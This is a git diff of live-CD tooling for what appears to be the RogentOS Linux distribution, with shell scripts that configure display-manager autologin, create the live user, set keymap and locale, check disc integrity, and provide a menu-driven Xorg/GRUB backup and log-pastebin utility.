+		sed -i "s/AutoLoginAgain=.*/AutoLoginAgain=true/" $KDM_FILE
+
+		sed -i "s/AllowRootLogin=.*/AllowRootLogin=true/" $KDM_FILE
+		sed -i "s/AllowNullPasswd=.*/AllowNullPasswd=true/" $KDM_FILE
+		sed -i "s/AllowShutdown=.*/AllowShutdown=All/" $KDM_FILE
+
+		sed -i "/^#.*AutoLoginEnable=/ s/^#//" $KDM_FILE
+		sed -i "/^#.*AutoLoginUser=/ s/^#//" $KDM_FILE
+		sed -i "/^#.*AutoLoginDelay=/ s/^#//" $KDM_FILE
+		sed -i "/^#.*AutoLoginAgain=/ s/^#//" $KDM_FILE
+
+		sed -i "/^#AllowRootLogin=/ s/^#//" $KDM_FILE
+		sed -i "/^#AllowNullPasswd=/ s/^#//" $KDM_FILE
+		sed -i "/^#AllowShutdown=/ s/^#//" $KDM_FILE
+	fi
+
+	# LXDM
+	if [ -f "$LXDM_FILE" ]; then
+		sed -i "s/autologin=.*/autologin=${LIVE_USER}/" $LXDM_FILE
+		sed -i "/^#.*autologin=/ s/^#//" $LXDM_FILE
+	fi
+
+	# LightDM
+	if [ -f "$LIGHTDM_FILE" ]; then
+		sed -i "s/autologin-user=.*/autologin-user=${LIVE_USER}/" $LIGHTDM_FILE
+		sed -i "/^#.*autologin-user=/ s/^#//" $LIGHTDM_FILE
+	fi
+
+	# Setup correct login session
+	rogentos_is_normal_boot && rogentos_fixup_gnome_autologin_session
+}
+
+rogentos_disable_autologin() {
+	# GDM - GNOME
+	if [ -f "${GDM_FILE}" ]; then
+		sed -i "s/^AutomaticLoginEnable=.*/AutomaticLoginEnable=false/" ${GDM_FILE}
+	fi
+
+	# KDM - KDE
+	KDM_FILE="/usr/share/config/kdm/kdmrc"
+	if [ -f "$KDM_FILE" ]; then
+		sed -i "s/AutoLoginEnable=.*/AutoLoginEnable=false/" $KDM_FILE
+	fi
+
+	# LXDM
+	if [ -f "$LXDM_FILE" ]; then
+		sed -i "s/^autologin=.*/autologin=/" $LXDM_FILE
+	fi
+
+	# LightDM
+	if [ -f "$LIGHTDM_FILE" ]; then
+		sed -i "s/^autologin-user=.*/#autologin-user=/" $LIGHTDM_FILE
+	fi
+}
+
+rogentos_setup_live_user() {
+	local live_user="${1}"
+	local live_uid="${2}"
+	if [ -z "${live_user}" ]; then
+		live_user="${LIVE_USER}"
+	fi
+	if [ -n "${live_uid}" ]; then
+		live_uid="-u ${live_uid}"
+	fi
+	id ${live_user} &> /dev/null
+	if [ "${?}" != "0" ]; then
+		local live_groups=""
+		local avail_groups=$(cat /etc/group | cut -d":" -f 1 | xargs echo)
+		for a_group in ${avail_groups}; do
+			for p_group in ${LIVE_USER_GROUPS}; do
+				if [ "${p_group}" = "${a_group}" ]; then
+					if [ -z "${live_groups}" ]; then
+						live_groups="${p_group}"
+					else
+						live_groups="${live_groups},${p_group}"
+					fi
+				fi
+			done
+		done
+		# then setup live user, that is missing
+		useradd -d "/home/${live_user}" -g root -G ${live_groups} -c "rogentosuser" \
+			-m -N -p "" -s /bin/bash ${live_uid} "${live_user}"
+		return 0
+	fi
+	return 1
+}
+
+rogentos_setup_motd() {
+	echo -e "\n\tWelcome to `cat /etc/rogentos-edition`\n\t`uname -p`\n\t`uname -o` `uname -r`\n" > /etc/motd
+}
+
+rogentos_setup_vt_autologin() {
+	if openrc_running; then
+		. /sbin/livecd-functions.sh
+		export CDBOOT=1
+		livecd_fix_inittab
+	elif systemd_running; then
+		cp /usr/lib/systemd/system/getty@.service \
+			/etc/systemd/system/autologin@.service
+		sed -i "/^ExecStart=/ s:/sbin/agetty:/sbin/agetty --autologin root:g" \
+			/usr/lib/systemd/system/getty@.service
+		sed -i "/^ExecStart=/ s:--noclear::g" \
+			/usr/lib/systemd/system/getty@.service
+		systemctl daemon-reload
+		systemctl restart getty@tty1
+	fi
+}
+
+rogentos_setup_oem_livecd() {
+	if [ -x "${OEM_LIVE_NEW}" ]; then
+		${OEM_FILE_NEW} || return 1
+	elif [ -x "${OEM_LIVE}" ]; then
+		${OEM_FILE} || return 1
+	fi
+	return 0
+}
+
+rogentos_is_live() {
+	local cmdl=$(cat /proc/cmdline | grep cdroot)
+	if [ -n "${cmdl}" ]; then
+		return 0
+	else
+		return 1
+	fi
+}
+
+rogentos_setup_gui_installer() {
+	# Configure Fluxbox
+	local dmrc_file="/home/${LIVE_USER}/.dmrc"
+	local flux_dir="/home/${LIVE_USER}/.fluxbox"
+	local flux_startup_file="${flux_dir}/startup"
+	if [ ! -d "${flux_dir}" ]; then
+		mkdir "${flux_dir}" && chown "${LIVE_USER}" "${flux_dir}"
+	fi
+	echo "[Desktop]" > "${dmrc_file}"
+	echo "Session=fluxbox" >> "${dmrc_file}"
+	chown rogentosuser "${dmrc_file}"
+	sed -i "/installer --fullscreen/ s/^# //" "${flux_startup_file}"
+	if [ -x "/usr/libexec/gdm-set-default-session" ]; then
+		# oh my fucking glorious god, this
+		# is AccountsService bullshit
+		# cross fingers
+		/usr/libexec/gdm-set-default-session fluxbox
+	fi
+	if [ -x "/usr/libexec/gdm-set-session" ]; then
+		# GDM 3.6 support
+		/usr/libexec/gdm-set-session rogentosuser fluxbox
+	fi
+}
+
+# This function reads /etc/skel/.dmrc and properly
+# set the Session= value inside AccountsService.
+# Blame the idiots who broke de-facto standards
+# and created this fugly thing called AccountsService
+rogentos_fixup_gnome_autologin_session() {
+	local cur_session=
+
+	if [ -f "/etc/skel/.dmrc" ]; then
+		cur_session=$(cat /etc/skel/.dmrc | grep ^Session | cut -d"=" -f 2)
+	fi
+	if [ -z "${cur_session}" ]; then
+		return 0
+	fi
+
+	local sess_file="/usr/share/xsessions/${cur_session}.desktop"
+	if [ ! -f "${sess_file}" ]; then
+		return 0
+	fi
+
+	if [ -x "/usr/libexec/gdm-set-default-session" ]; then
+		# this edits /etc/gdm/custom.conf adding [daemon]\nDefaultSession=${cur_session}
+		/usr/libexec/gdm-set-default-session "${cur_session}"
+	fi
+
+	if [ -x "/usr/libexec/gdm-set-session" ]; then
+		# GDM 3.6 support
+		local users_in_users=$(cat /etc/group | grep "^users" | awk -F':' '{ print $4 }' | sed "s:,: :g")
+		for usr in ${users_in_users}; do
+			/usr/libexec/gdm-set-session "${usr}" "${cur_session}"
+		done
+	fi
+}
+
+rogentos_setup_text_installer() {
+	if openrc_running; then
+		# switch to verbose mode
+		splash_manager -c set -t default -m v &> /dev/null
+		reset
+		chvt 1
+		clear
+	fi
+	rogentos_setup_text_installer_motd
+}
+
+rogentos_setup_text_installer_motd() {
+	echo "Welcome to RogentOS Linux Text installation." >> /etc/motd
+	echo "to run the installation type: installer <and PRESS ENTER>" >> /etc/motd
+}
+
+rogentos_is_text_install() {
+	local _is_install=$(cat /proc/cmdline | grep installer-text)
+	if [ -n "${_is_install}" ]; then
+		return 0
+	else
+		return 1
+	fi
+}
+
+rogentos_is_gui_install() {
+	local _is_install=$(cat /proc/cmdline | grep installer-gui)
+	if [ -n "${_is_install}" ]; then
+		return 0
+	else
+		return 1
+	fi
+}
+
+rogentos_is_live_install() {
+	( rogentos_is_text_install || rogentos_is_gui_install ) && return 0
+	return 1
+}
+
+rogentos_is_mce() {
+	local _is_mce=$(cat /proc/cmdline | grep sabayonmce)
+	if [ -n "${_is_mce}" ]; then
+		return 0
+	else
+		return 1
+	fi
+}
+
+rogentos_is_normal_boot() {
+	if ! rogentos_is_mce && ! rogentos_is_live_install; then
+		return 0
+	else
+		return 1
+	fi
+}
+
+systemd_running() {
+	test -d /run/systemd/system
+}
+
+openrc_running() {
+	test -e /run/openrc/softlevel
+}
diff --git a/app-misc/rogentoslive-tools/files/2/rogentos-live-check b/app-misc/rogentoslive-tools/files/2/rogentos-live-check
new file mode 100644
index 00000000..5ad3d509
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/rogentos-live-check
@@ -0,0 +1,27 @@
+#!/bin/sh
+#
+# rogentos_livechk.sh
+#
+# Checks the integrity of a LiveCD/DVD by passing the
+# contents of the image through a md5sum (to be compared
+# with an documented value elsewhere).
+#
+
+if ( ! isoinfo -d -i /dev/cdrom >>/dev/null 2>/dev/null ); then
+       echo "CDROM/DVD image not found!"
+       exit 1
+fi
+
+echo -e "Checking image integrity, please allow several minutes...\n"
+echo "You can check for errors by running 'tail /var/log/messages'"
+echo "in another console window.  If you encounter multiple device"
+echo "errors with you cdrom, this probably indicates the test is failing."
+echo "You may type 'Ctrl-c' to abort the check."
+
+BLOCK_SIZE=`isoinfo -d -i /dev/cdrom | grep "Logical block size is" | cut -d: -f2 | sed 's/^[ ]//g'`
+VOL_SIZE=`isoinfo -d -i /dev/cdrom | grep "Volume size is" | cut -d: -f2 | sed 's/^[ ]//g'`
+dd if=/dev/cdrom bs=$BLOCK_SIZE count=$VOL_SIZE conv=notrunc,noerror | md5sum
+
+echo "Compare the above value with the value supplied in"
+echo "the release notes for this version at:"
+echo "http://www.rogentos.org/"
diff --git a/app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader b/app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader
new file mode 100644
index 00000000..8b0cf007
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader
@@ -0,0 +1,10 @@
+#!/bin/sh
+
+SABAYON_LOADER="/usr/bin/xdg-open"
+SABAYON_URL=${SABAYON_URL:-http://www.rogentos.org?install_welcome=1}
+
+# load Sabayon URL
+[[ -x "${SABAYON_LOADER}" ]] && ${SABAYON_LOADER} ${SABAYON_URL} &
+
+# remove myself from autostart
+rm ~/.config/autostart/rogentos-welcome-loader.desktop -f
diff --git a/app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader.desktop b/app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader.desktop
new file mode 100644
index 00000000..15679628
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader.desktop
@@ -0,0 +1,7 @@
+[Desktop Entry]
+Type=Application
+Name=rogentos-loader
+Exec=rogentos-welcome-loader
+Icon=system-run
+Comment=Sabayon Linux post-install Welcome Screen
+Terminal=false
diff --git a/app-misc/rogentoslive-tools/files/2/rogentoslive b/app-misc/rogentoslive-tools/files/2/rogentoslive
new file mode 100644
index 00000000..ee1c5541
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/rogentoslive
@@ -0,0 +1,14 @@
+#!/sbin/runscript
+# Copyright 2004-2013 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+	after x-setup
+	before xdm
+}
+
+start() {
+	ebegin "Preparing Live system..."
+	/usr/libexec/rogentoslive.sh
+	eend $?
+}
diff --git a/app-misc/rogentoslive-tools/files/2/rogentoslive.service b/app-misc/rogentoslive-tools/files/2/rogentoslive.service
new file mode 100644
index 00000000..92b8455e
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/rogentoslive.service
@@ -0,0 +1,11 @@
+[Unit]
+Description=Sabayon live system setup
+Before=display-manager.service getty.target
+
+[Service]
+Type=oneshot
+RemainAfterExit=true
+ExecStart=/usr/libexec/rogentoslive.sh
+
+[Install]
+WantedBy=multi-user.target
diff --git a/app-misc/rogentoslive-tools/files/2/rogentoslive.sh b/app-misc/rogentoslive-tools/files/2/rogentoslive.sh
new file mode 100644
index 00000000..3b5def3d
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/rogentoslive.sh
@@ -0,0 +1,183 @@
+#!/bin/bash
+
+. /sbin/rogentos-functions.sh
+
+CMDLINE=$(cat /proc/cmdline 2> /dev/null)
+
+setup_password() {
+    local cmdline_autoscramble_exist=$(echo ${CMDLINE} | grep autoscramble)
+    if [ -n "${cmdline_autoscramble_exist}" ]; then
+        echo "Autoscrambling root and live user passwords"
+        echo root:\`pwgen -s 16\` | chpasswd  > /dev/null 2>&1
+        echo ${LIVE_USER}:\`pwgen -s 16\` | chpasswd  > /dev/null 2>&1
+    fi
+}
+
+setup_x() {
+    if systemd_running; then
+        [ -x /sbin/gpu-configuration ] && /sbin/gpu-configuration
+    else
+        while [ -e "/etc/x-setup-configuration-running" ]; do
+            sleep 1
+        done
+    fi
+}
+
+setup_settingsd() {
+    if [ -e /usr/share/eselect/modules/settingsd.eselect ]; then
+        if systemd_running; then
+            eselect settingsd set systemd > /dev/null
+        elif openrc_running; then
+            eselect settingsd set openrc > /dev/null
+        fi
+    fi
+}
+
+setup_desktop() {
+    # create LIVE_USER if it does not exist
+    rogentos_setup_live_user "${LIVE_USER}" "1000"
+    if [ "${?}" = "1" ]; then
+        # if user is already available, then setup skel
+        # Copy ${LIVE_USER} directory
+        rm -rf /home/${LIVE_USER}
+        cp /etc/skel /home/${LIVE_USER} -Rp
+        chown ${LIVE_USER}:users /home/${LIVE_USER} -R
+    fi
+
+    local liveinst_desktop="/usr/share/applications/liveinst.desktop"
+    local liveinst_desktop_name="$(basename ${liveinst_desktop})"
+    if [ -f "${liveinst_desktop}" ]; then
+        [[ -d "/home/${LIVE_USER}/Desktop" ]] || \
+            mkdir -p "/home/${LIVE_USER}/Desktop"
+        cp "${liveinst_desktop}" "/home/${LIVE_USER}/Desktop"
+        chown ${LIVE_USER}:users "/home/${LIVE_USER}/Desktop" -R
+        chmod +x "/home/${LIVE_USER}/Desktop/${liveinst_desktop_name}"
+        rm -f /etc/skel/Desktop/Anaconda*.desktop \
+            /home/${LIVE_USER}/Desktop/Anaconda*.desktop
+    fi
+
+    # Disable memory eating services
+    rm -f /etc/xdg/autostart/hplip-systray.desktop \
+        /etc/xdg/autostart/beagle-search-autostart.desktop \
+        /etc/xdg/autostart/tracker*.desktop \
+        /etc/xdg/autostart/magneto.desktop \
+        /etc/xdg/autostart/beagled-autostart.desktop \
+        /usr/share/autostart/magneto.desktop \
+        /usr/share/autostart/nepomukserver.desktop
+
+    # Remove broken entries in /etc/mtab
+    if [ ! -L /etc/mtab ]; then
+        sed -i '/.*newroot.*/d' /etc/mtab
+    fi
+
+    # create /overlay, this way df -h won't bitch
+    [[ -d "/overlay" ]] || mkdir /overlay
+
+    return 0
+}
+
+setup_keymap() {
+    local keymap_toset=
+    local keymap_toset_model=
+
+    for word in ${CMDLINE}; do
+        case ${word} in
+            console-setup/layoutcode=*)
+                keymap_toset="${word/*=}"
+                ;;
+            console-setup/modelcode=*)
+                keymap_toset_model="-${word/*=}"
+                ;;
+            KEYMAP=*)
+                keymap_toset="${word/*=}"
+                ;;
+            keymap=*)
+                keymap_toset="${word/*=}"
+                ;;
+            vconsole.keymap=*)
+                keymap_toset="${word/*=}"
+                ;;
+            vconsole.keymap.model=*)
+                keymap_toset_model="-${word/*=}"
+                ;;
+        esac
+    done
+
+    if [ -n "${keymap_toset}" ]; then
+        aggregated_keymap="${keymap_toset}${keymap_toset_model}"
+        /sbin/keyboard-setup-2 "${aggregated_keymap}" all &> /dev/null
+        if [ "${?}" = "0" ]; then
+            openrc_running && /etc/init.d/keymaps restart --nodeps
+            # systemd not needed here, this script runs before vconsole-setup
+        fi
+    fi
+}
+
+setup_locale() {
+    for word in ${CMDLINE}; do
+        case ${word} in
+            locale=*)
+                lang_toset="${word/*=}"
+                ;;
+            LANG=*)
+                lang_toset="${word/*=}"
+                ;;
+            lang=*)
+                lang_toset="${word/*=}"
+                ;;
+        esac
+    done
+    if [ -n "${lang_toset}" ]; then
+        files=(
+            "/etc/env.d/02locale"
+            "/etc/locale.conf"
+        )
+        for path in "${files[@]}"; do
+            if [ -e "$path" ]; then
+                sed -i "s/^LC_ALL=.*/LC_ALL=${lang_toset}.UTF-8/g" \
+                    "${path}"
+                sed -i "s/^LANG=.*/LANG=${lang_toset}.UTF-8/g" "${path}"
+                sed -i "s/^LANGUAGE=.*/LANGUAGE=${lang_toset}.UTF-8/g" \
+                    "${path}"
+            else
+                echo "LC_ALL=${lang_toset}.UTF-8" > "${path}"
+                echo "LANG=${lang_toset}.UTF-8" >> "${path}"
+                echo "LANGUAGE=${lang_toset}.UTF-8" >> "${path}"
+            fi
+        done
+
+        sed -i "s/^export LC_ALL=.*/export LC_ALL=${lang_toset}.UTF-8/g" \
+            "/etc/profile.env"
+        sed -i "s/^export LANG=.*/export LANG=${lang_toset}.UTF-8/g" \
+            "/etc/profile.env"
+        sed -i "s/^export LANGUAGE=.*/export LANGUAGE=${lang_toset}.UTF-8/g" \
+            "/etc/profile.env"
+
+    fi
+}
+
+
+main() {
+    . /sbin/rogentos-functions.sh
+
+    # Perform configuration only in live mode
+    if ! rogentos_is_live; then
+        echo "Skipping Live system configuration"
+        return 0
+    fi
+
+    setup_settingsd
+    setup_desktop
+    setup_password
+    setup_keymap
+    setup_x
+    # MOVED HERE TO AVOID RACE CONDITIONS ON WRITING
+    # /etc/profile.env variables
+    setup_locale
+    rogentos_setup_autologin
+    rogentos_setup_motd
+    rogentos_setup_vt_autologin
+    rogentos_setup_oem_livecd
+}
+
+main
diff --git a/app-misc/rogentoslive-tools/files/2/sabutil b/app-misc/rogentoslive-tools/files/2/sabutil
new file mode 100644
index 00000000..1787c59d
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/sabutil
@@ -0,0 +1,667 @@
+#!/bin/bash
+
+# Initial version by wolfden.
+# Later changes by Enlik <poczta-sn at gazeta.pl>.
+
+# last change: 9.03.2012
+# most important changes to last version:
+# - abort if non root where needs root permissions
+# - fix fdisk -l pasting
+# - support for xorg.conf.d
+# - reorder options and add rcupdate_pastebin
+
+USER=$(whoami)
+HOMEDIR=${HOME:-/tmp}
+
+function menu
+{
+    local selection=""
+    until  [[ "$selection" = "0" ]] ; do
+        echo "Current Operating System:"
+	cat /etc/rogentos-release
+	echo ""
+        echo "Current Edition:"
+	cat /etc/rogentos-edition
+        echo
+        echo "Pick a choice from menu below:"
+
+        echo ""
+        echo "1 - Backup & edit xorg.conf and xorg.conf.d"
+        echo "2 - Restore xorg.conf and xorg.conf.d from backup"
+        echo "3 - Regenerate Sabayon xorg.conf"
+        echo "4 - Backup & edit grub.cfg"
+        echo "5 - Restore grub.cfg from backup"
+        echo "----------------------------------------"
+        echo "View and AutoPaste:"
+        echo " "
+        echo "01 - Pastebin Xorg configuration files"
+        echo "02 - Pastebin Xorg.0.log"
+        echo "03 - Pastebin ~/.xsession-errors"
+        echo "04 - Pastebin grub.cfg (bootmanager settings)"
+        echo "05 - Pastebin /var/log/dmesg"
+        echo "06 - Pastebin system and hardware info"
+        echo "07 - Pastebin fdisk -l (list the partition tables)"
+        echo "08 - Pastebin rc-update show (show enabled services and the runlevels)"
+        echo "09 - Pastebin rc.log"
+        echo "10 - Pastebin /var/log/messages"
+        echo "11 - Pastebin kdm.log"
+        echo ""
+        echo "0 - Exit"
+        echo ""
+        echo -n "Enter selection: "
+        read selection
+        echo ""
+
+        case $selection in
+            1 ) xorg_backup ; press_enter ; xorg_edit; press_enter ;;
+            2 ) xorg_restore ; press_enter ;;
+            3 ) xorg_regen ; press_enter ;;
+            4 ) grub_backup ; press_enter ; nano -w /boot/grub/grub.cfg; press_enter ;;
+            5 ) grub_restore ; press_enter ;;
+            01 ) xorg_pastebin ; press_enter ;;
+            02 ) xorg0log_pastebin ; press_enter ;;
+            03 ) xsessionerrors_pastebin ; press_enter ;;
+            04 ) grub_pastebin ; press_enter ;;
+            05 ) dmesg_pastebin ; press_enter ;;
+            06 ) system_pastebin ; press_enter ;;
+            07 ) fdisk_pastebin ; press_enter ;;
+            08 ) rcupdate_pastebin ; press_enter ;;
+            09 ) rclog_pastebin ; press_enter ;;
+            10 ) messages_pastebin ; press_enter ;;
+            11 ) kdm_pastebin ; press_enter ;;
+
+            0 ) ;;
+            * ) echo "Please be sensible - choose a number that exists in the menu"; press_enter
+        esac
+    done
+
+}
+
+function press_enter
+{
+    echo ""
+    echo -n "Press Enter to continue"
+    read
+    clear
+}
+
+function is_root
+{
+    if [[ $USER != "root" ]]; then
+        echo "You need to be root to do this." >&2
+        return 1
+    fi
+    return 0
+}
+
+function xorg_regen
+{
+    is_root || return
+
+    if [[ ! -f "/etc/X11/xorg.conf.rogentos" ]]; then
+        cat > /etc/X11/xorg.conf.rogentos <<EOF
+Section "Module"
+    SubSection  "extmod"
+       Option    "omit xfree86-dga"
+    EndSubSection
+    Load        "i2c"
+    Load        "ddc"
+    Load        "synaptics"
+    Load        "vbe"
+#   Load        "dri"
+EndSection
+
+
+Section "ServerFlags"
+     Option     "AllowMouseOpenFail" "true"
+EndSection
+
+Section "InputDevice"
+    Identifier          "Synaptics1"
+    Driver              "synaptics"
+    Option              "SendCoreEvents"        "true"
+    Option              "Device"                "/dev/psaux"
+    Option              "Protocol"              "auto-dev"
+    Option              "HorizScrollDelta"      "0"
+    Option              "SHMConfig"             "on"
+    # For ALPS/MacBook TouchPads
+    #Option             "MaxSpeed"              "0.7"
+    #Option             "MinSpeed"              "0.18"
+    #Option             "AccelFactor"           "0.08"
+    #Option             "TopEdge"               "120"
+    #Option             "LeftEdge"              "120"
+    #Option             "BottomEdge"            "830"
+    #Option             "RightEdge"             "650"
+    #Option             "FingerLow"             "25"
+    #Option             "FingerHigh"            "30"
+    # MacBook touchpad
+    #Option             "MaxTapTime"            "180"
+    #Option             "MaxTapMove"            "220"
+    #Option             "MaxDoubleTapTime"      "180"
+    #Option             "VertScrollDelta"       "20"
+    #Option             "HorizScrollDelta"      "50"
+    #Option             "TapButton2"            "3"
+    #Option             "TapButton3"            "2"
+    #Option             "VertTwoFingerScroll"   "1"
+
+    # Do you keep moving the mouse while typing? Try this trick.
+    #synclient TouchpadOff=1 disable your synaptics touchpad
+    #synclient TouchpadOff=0 enable your synaptics touchpad
+EndSection
+
+
+# **********************************************************************
+# Monitor section
+# **********************************************************************
+
+# Any number of monitor sections may be present
+
+Section "Monitor"
+    Identifier  "Generic Monitor"
+    VertRefresh 43 - 60
+    HorizSync   28 - 80
+EndSection
+
+# **********************************************************************
+# Graphics device section
+# **********************************************************************
+
+# Any number of graphics device sections may be present
+
+Section "Device"
+    Identifier  "VESA"
+    Driver      "vesa" # do not remove vesa
+    #Option "RenderAccel" "on"
+    #Option "XAANoOffscreenPixmaps"
+    #Option "BusType" "PCI"
+    #Option "ColorTiling" "on"
+    #Option "EnablePageFlip" "on"
+    # UseEvents is causing segmentation faults with
+    # NVIDIA 6xxx, 7xxx and >=275.xx.xx drivers
+    #Option "UseEvents" "True"
+EndSection
+
+
+# **********************************************************************
+# Screen sections.
+# **********************************************************************
+
+Section "Screen"
+
+# The Identifier, Device and Monitor lines must be present
+
+    Identifier  "Screen 1"
+    Device      "VESA"
+    Monitor     "Generic Monitor"
+    #Option "AddARGBGLXVisuals" "true"
+
+# The favoured Depth and/or Bpp may be specified here
+
+    DefaultDepth 24
+
+    SubSection "Display"
+        Depth           8
+        ViewPort        0 0
+        #Modes          "1024x768" "800x600" "640x480"
+    EndSubsection
+
+    SubSection "Display"
+        Depth           16
+        ViewPort        0 0
+        #Modes          "1024x768" "800x600" "640x480"
+    EndSubsection
+
+    SubSection "Display"
+        Depth           24
+        ViewPort        0 0
+        #Modes          "1024x768" "800x600" "640x480"
+    EndSubsection
+
+
+EndSection
+
+
+Section "ServerLayout"
+# The Identifier line must be present
+
+    Identifier  "Main Layout"
+    Screen 0    "Screen 1"
+    InputDevice "Mouse1" "CorePointer"
+    #InputDevice "Synaptics1" "SendCoreEvents"
+
+EndSection
+
+Section "DRI"
+    Mode 0666
+EndSection
+
+Section "Extensions"
+   #Option "Composite" "Enable"
+EndSection
+EOF
+    fi
+
+    mv -f /etc/X11/xorg.conf /etc/X11/xorg.conf.old
+    /usr/sbin/x-setup-configuration
+
+    echo "Note: you may want to look to /etc/X11/xorg.conf.d (if it exists), too."
+}
+
+function xorg_backup
+{
+    is_root || return
+
+    if [[ -f /etc/X11/xorg.conf.BKUP ]]; then
+        echo "/etc/X11/xorg.conf.BKUP already exists, so new backup wasn't made - aborting."
+        echo "Now off we go to edit the file...."
+        return
+    elif [[ -e /etc/X11/xorg.conf.d.BKUP ]]; then
+        echo "/etc/X11/xorg.conf.d.BKUP backup already exists, so new backup wasn't made - aborting."
+        return
+    fi
+
+    # Delete backup file. If there's no xorg.conf, no stale xorg.conf.BKUP will be kept.
+    # So xorg_restore will not made new (unexpected) xorg.conf from xorg.conf.BKUP.
+    rm -f /etc/X11/xorg.conf.BKUP
+    if [[ -f /etc/X11/xorg.conf ]]; then
+	echo "Making backup of xorg.conf as /etc/X11/xorg.conf.BKUP"
+	cp /etc/X11/xorg.conf /etc/X11/xorg.conf.BKUP
+    else
+	echo "There's no /etc/X11/xorg.conf so it couldn't be backed up."
+    fi
+
+    if [[ -e /etc/X11/xorg.conf.d ]]; then
+	echo "Making backup of /etc/X11/xorg.conf.d/*"
+	if [[ ! -d /etc/X11/xorg.conf.d ]]; then
+	    echo "!!!"
+	    echo "/etc/X11/xorg.conf.d is not a directory!"
+	    return
+	fi
+        mkdir -p /etc/X11/xorg.conf.d.BKUP
+        rm -f /etc/X11/xorg.conf.d.BKUP/* # dotfiles and subdirectories (who keeps them there?!) are left untouched
+        cp /etc/X11/xorg.conf.d/* /etc/X11/xorg.conf.d.BKUP/ # and not copied (that's fine)
+        echo "/etc/X11/xorg.conf.d/* files are backed up in /etc/X11/xorg.conf.d.BKUP/"
+    else
+	echo "There's no /etc/X11/xorg.conf.d (directory) so it couldn't be backed up."
+    fi
+
+    echo ""
+    echo "INTEL graphics users please read the url below before proceding"
+    echo ""
+    echo "http://gentoo-wiki.com/HOWTO_Intel_Onboard_Graphics_Notebooks_Native_Resolution"
+}
+
+function xorg_restore
+{
+    is_root || return
+
+    echo "Are you sure? This will replace your /etc/X11/xorg.conf and /etc/X11/xorg.conf.d/*.conf."
+    echo "[Y/n]"
+    local reply
+    read reply
+    if [[ $reply != "" && $reply != "y" && $reply != "Y" ]]; then
+        echo "OK, aborting."
+        return
+    fi
+
+    if [[ -f /etc/X11/xorg.conf.BKUP ]]; then
+        echo "xorg.conf backup (/etc/X11/xorg.conf.BKUP) exists, whew!"
+        cp /etc/X11/xorg.conf.BKUP /etc/X11/xorg.conf
+        echo ""
+        echo "The original xorg.conf has been restored"
+    else
+        echo "UH OH!! The backup /etc/X11/xorg.conf.BKUP hasn't been made."
+        echo "If you think you need the file, don't panic, you can copy it from the Live DVD/CD."
+    fi
+
+    echo ""
+
+    if [[ -d /etc/X11/xorg.conf.d.BKUP ]] \
+	&& (shopt -s nullglob; f=(/etc/X11/xorg.conf.d.BKUP/*.conf); [[ ${#f[*]} -ne 0 ]] )
+    then
+        echo "The backup /etc/X11/xorg.conf.d.BKUP (directory) exists and contails .conf files."
+        mkdir -p /etc/X11/xorg.conf.d
+	# similar notes as for xorg_backup, but files like .disabled are not removed
+        rm -f /etc/X11/xorg.conf.d/*.conf
+        cp /etc/X11/xorg.conf.d.BKUP/* /etc/X11/xorg.conf.d/
+        echo "Your settings are now restored to /etc/X11/xorg.conf.d/."
+    fi
+}
+
+function grub_backup
+{
+    is_root || return
+
+    echo "Note: to modify GRUB configuration, you should edit /etc/default/grub"
+    echo " or a file in /etc/grub.d and then run grub-mkconfig -o /boot/grub/grub.cfg"
+    echo " (/boot/grub/grub.cfg shouldn't be edited by hand)."
+    echo ""
+
+    if [[ -f /boot/grub/grub.cfg.BKUP ]]; then
+        echo "grub.cfg backup already exists, so the new one wasn't made."
+        echo "Now off we go to edit the file...."
+    else
+	echo "Making backup of grub.cfg as /boot/grub/grub.cfg.BKUP"
+        cp /boot/grub/grub.cfg /boot/grub/grub.cfg.BKUP
+        echo ""
+    fi
+}
+
+function grub_restore
+{
+    is_root || return
+
+    echo "Are you sure? This will replace your /boot/grub/grub.cfg."
+    echo "[Y/n]"
+    local reply
+    read reply
+    if [[ $reply != "" && $reply != "y" && $reply != "Y" ]]; then
+        echo "OK, aborting."
+        return
+    fi
+
+    if [[ -f /boot/grub/grub.cfg.BKUP ]]
+    then
+        echo "grub.cfg backup (/boot/grub/grub.cfg.BKUP) exists, whew!"
+        cp /boot/grub/grub.cfg.BKUP /boot/grub/grub.cfg
+        echo ""
+        echo "The original grub.cfg has been restored"
+    else
+        echo "UH OH!! The backup script /boot/grub/grub.cfg.BKUP hasn't been made."
+        echo "Don't panic, you can use the Sabayon installer to repair GRUB."
+    fi
+}
+
+function horner
+{
+
+# Quick system info gatherer written for Sabayon GNU/Linux
+#(http://rogentoslinux.org)
+# Copyright 2008 Richard Edward Horner
+# Last modified 2008-11-26
+# Please send all comments, suggestions, bugs and patches to (rich AT
+#richhorner DOT com)
+
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+HOSTNAME=`hostname`
+RELEASE=`cat /etc/rogentos-release`
+CPU=`uname -p`
+KERNEL=`uname -r`
+KERN_ARCH=`uname -m`
+DISK=`df -lT --exclude-type=tmpfs --exclude-type=rootfs | awk 'BEGIN { total = 0; used = 0 } { if (NR > 1) { total += $3; used += $4 } } END { printf "%.1f/%.1fGB", used / 1000000, total / 1000000 }'`
+MEMORY=`cat /proc/meminfo | awk '{ if ($1 == "MemTotal:") { memtot = $2/1000 } else if ($1 == "MemFree:") { memfree = $2/1000 } } END { printf "%d/%dM", memfree, memtot }'`
+DAYS=`cat /proc/uptime | awk '{ printf "%.1f", $1/86400 }'`
+PROCS=`ps aux | awk 'END { print NR - 2 }'`
+RENDERER=`glxinfo | awk -F : '{ if ($1 == "OpenGL renderer string") print $2 }'`
+
